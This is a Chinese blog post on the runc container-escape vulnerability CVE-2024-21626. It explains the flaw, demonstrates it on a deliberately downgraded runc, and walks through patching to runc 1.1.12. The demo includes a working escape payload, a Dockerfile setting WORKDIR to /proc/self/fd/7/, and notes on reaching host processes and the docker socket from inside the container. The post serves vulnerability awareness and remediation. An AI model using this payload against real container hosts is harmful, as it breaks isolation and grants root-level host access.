【CVE-2024-21626】容器逃逸漏洞修复
哈喽大家好,我是咸鱼。
好久不见,最近有一个很火的 CVE——runc 容器逃逸漏洞。年前的时候我们已经在测试环境进行了相关操作打算年后线上进行修复。

因为今天咸鱼才开工,所以文章也就拖到了现在
漏洞介绍
简单来讲,docker-runc 是一个用 Go 语言编写的 CLI 工具,它利用 Linux 的核心功能(如 cgroups 和命名空间)来创建和运行容器。
由于 runc 内部不正确处理文件描述符,导致泄漏关键的宿主机文件描述符到容器中。
容器逃逸方式:
- 攻击1: 利用文件描述符泄漏,特权用户执行恶意容器镜像,导致 pid1 进程在宿主机挂载命名空间中拥有工作目录,从而允许对整个宿主文件系统的访问。
- 攻击2: 在
runc exec中存在文件描述符泄漏和工作目录验证不足,攻击者可通过符号链接将路径替换为/proc/self/fd/7/,并绕过保护机制,最终通过访问主机文件系统实现攻击。 - 攻击3: 利用类似
/proc/self/fd/7/../../../bin/bash的路径作为参数,覆盖主机二进制文件,从而改进攻击1和2。攻击者可以在主机上执行目标二进制文件,获取完全访问主机的权限。
漏洞演示
这部分内容借用卡瓦邦噶的文章《CVE-2024-21626 从容器内逃逸到宿主机文件系统》
环境准备
准备一个新的 VM,需要安装的依赖有:
- 依赖 golang 1.22 和 libseccomp-dev 来编译指定版本的 runc;
- 依赖 build-essential 编译 runc;
- 依赖 docker engine,指定版本的 runc;
第一步:按照官方文档安装最新版本的 docker。
第二步:替换 runc (最新版已经解决这个问题了)到旧版本,这里我们使用 v1.0.0-rc10. 编译脚本如下:
# install golang
wget https://go.dev/dl/go1.22.0.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
export GOPATH=~/go
go version
# install dependencies for building runc
apt update
apt install -y build-essential libseccomp-dev
# compile and install runc
cd $GOPATH
mkdir -pv src/github.com/opencontainers
cd src/github.com/opencontainers
git clone https://github.com/opencontainers/runc
cd runc
git checkout v1.0.0-rc10
export GO111MODULE=auto
make
sudo make install
安装完成旧版本的 runc 之后需要重启 docker engine:
sudo systemctl restart docker.
攻击演示
创建一个 Dockerfile:
# Sets the current working directory for this image
WORKDIR /proc/self/fd/7/`
编译这个 docker image: docker build . -t test
最后运行这个 docker image: docker run --rm -ti test
可能一次运行不会成功,多运行几次会成功。

通过相对路径,我们可以回到 Host 上面的 / 了:

如果我们安装运行 htop,会发现只有自己的容器里面的进程:

但是如果我们改变当前容器的 fs root: chroot . ,再次运行 htop,就可以看到所有的进程了。


但是试了下发送 signal 开 kill 进程是不行的,我猜是因为 pid namespace 仍然是对进程隔离的?
甚至可以在容器内运行docker 命令,看到所有的 container。因为有了 docker binary 的路径(和权限,因为容器进程也是 root)和 docker socket 的路径。

漏洞修复
目前官方已有可更新版本,可以参考以下链接升级至最新版本:runc >= 1.1.12
下面是咸鱼在自己本地环境的操作(CentOS 7 系统)
1、先看下当前 runc 版本:

2、复制上面的链接进去,下载 runc.amd64 ,然后上传到服务器上(我选择上传到 /opt 目录下)

或者直接在服务器上 wget 也行
cd /opt && wget https://github.com/opencontainers/runc/releases/download/v1.1.12/runc.amd64
4、先备份原本的 runc 工具
mv /usr/bin/runc /usr/bin/runcbak
5、更新 runc
mv /opt/runc.amd64 /usr/bin/runc && chmod +x /usr/bin/runc
6、重启 docker 并检查 runc 是否更新成功
systemctl restart docker.service
docker version
【CVE-2024-21626】容器逃逸漏洞修复的更多相关文章
- 腾讯云发布runC容器逃逸漏洞修复公告
尊敬的腾讯云客户,您好: 近日,腾讯云安全中心监测发现轻量级容器运行环境runc被爆存在容器逃逸漏洞,攻击者可以在利用该漏洞覆盖Host上的runc文件,从而在Host上以root权限执行代码. 为 ...
- RunC容器逃逸漏洞席卷业界,网易云如何做到实力修复?
近日,业界爆出的runC容器越权逃逸漏洞CVE-2019-5736,席卷了整个基于runC的容器云领域,大量云计算厂商和采用容器云的企业受到影响.网易云方面透露,经过技术团队的紧急应对,网易云上的容器 ...
- docker 恶意镜像到容器逃逸影响本机
转载:http://521.li/post/122.html SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CR ...
- 利用容器逃逸实现远程登录k8s集群节点
某天, 某鱼说要吃瞄, 于是...... 李国宝:边缘计算k8s集群SuperEdge初体验 zhuanlan.zhihu.com 图标 照着上一篇文章来说,我这边边缘计算集群有一堆节点. 每个节 ...
- 面对runc逃逸漏洞,华为云容器为您保驾护航
背景信息 基于runc运行时的容器存在安全漏洞,攻击者可以通过恶意容器镜像等方式获取宿主机root执行权限.漏洞CVE-2019-5736的详细信息,请参见 https://cve.mitre.org ...
- Mysql漏洞修复方法思路及注意事项
[系统环境] 系统环境:Red Hat Enterprise Linux Server release 5.4 (Tikanga) + 5.7.16 MySQL Community Server ...
- java中xxe漏洞修复方法
java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...
- Web安全常见漏洞修复建议
转载地址:https://security.pingan.com/blog/17.html SQL注入 在服务器端要对所有的输入数据验证有效性. 在处理输入之前,验证所有客户端提供的数据,包括所有的参 ...
- docker逃逸漏洞复现(CVE-2019-5736)
漏洞概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podm ...
- 织梦dedecms漏洞修复大全(5.7起)
很多人说dedecms不好,因为用的人多了,找漏洞的人也多了,那么如果我们能修复的话,这些都不是问题. 好,我们来一个一个修复.修复方法都是下载目录下该文件,然后替换或添加部分代码,保存后上传覆盖(记 ...
随机推荐
- 【转帖】高性能异步io机制:io_uring
文章目录 1.性能测试 1.1.FIO 1.2.rust_echo_benc 2.io_uring 2.1.io_uring_setup 2.2.io_uring_enter 2.3.io_uring ...
- [转帖]适用于 Azure VM 的 TCP/IP 性能优化
https://learn.microsoft.com/zh-cn/azure/virtual-network/virtual-network-tcpip-performance-tuning?con ...
- P5963 [BalticOI ?] Card 卡牌游戏【来源请求】
[rt](https://www.luogu.com.cn/problem/P5963)------------## part1### 题意简述给你 $n$ 张纸牌,每张纸牌有两个面.将 $n$ 张纸 ...
- 8.4 Windows驱动开发:文件微过滤驱动入门
MiniFilter 微过滤驱动是相对于SFilter传统过滤驱动而言的,传统文件过滤驱动相对来说较为复杂,且接口不清晰并不符合快速开发的需求,为了解决复杂的开发问题,微过滤驱动就此诞生,微过滤驱动在 ...
- NFS实现部署Linux文件共享
NFS 即网络文件系统,是一种使用于分布式文件系统的协议,由Sun公司开发,于1984年向外公布,功能是通过网络让不同的机器,不同的操作系统能够彼此分享各自的数据,让应用程序在客户端通过网络访问位于服 ...
- Linux 系统下查找文件命令
Linux 系统下查找文件命令,融合多部Linux经典著作,去除多余部分,保留实用部分. 查命令绝对路径: which用于查找并显示给定命令的绝对路径,环境变量中PATH参数也可以被查出来. [roo ...
- 洛谷P1045 麦森数。 快速幂算法以及固定位数的高精度乘法的优化
P1045 [NOIP2003 普及组] 麦森数 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 想法很简单,我们要做的就是两件事,求2^P-1的位数,求出2^P-1的最后500位数 ...
- Oracle ADG + Keepalived 切换演练
客户的一套生产环境采用的架构是Oracle ADG + Keepalived,近期需要进行切换演练,要求我这边保障.ADG本身切换倒没啥可说的,但引入keepalived软件,就需要提前研究下这个架构 ...
- 零基础入门Vue之画龙点睛——再探监测数据
追忆 上一节:零基础入门Vue之影分身之术--列表渲染&渲染原理浅析 虽然我深知,大佬告诉我"先学应用层在了解底层,以应用层去理解底层",但Vue的数据如何检测的我不得不去 ...
- delphi TThread.WaitFor 用法
在 Delphi 中,TThread.WaitFor 方法用于等待一个线程完成执行.当你创建一个线程并希望主线程(或其他线程)等待这个线程结束时,你可以使用这个方法. 以下是 TThread.Wait ...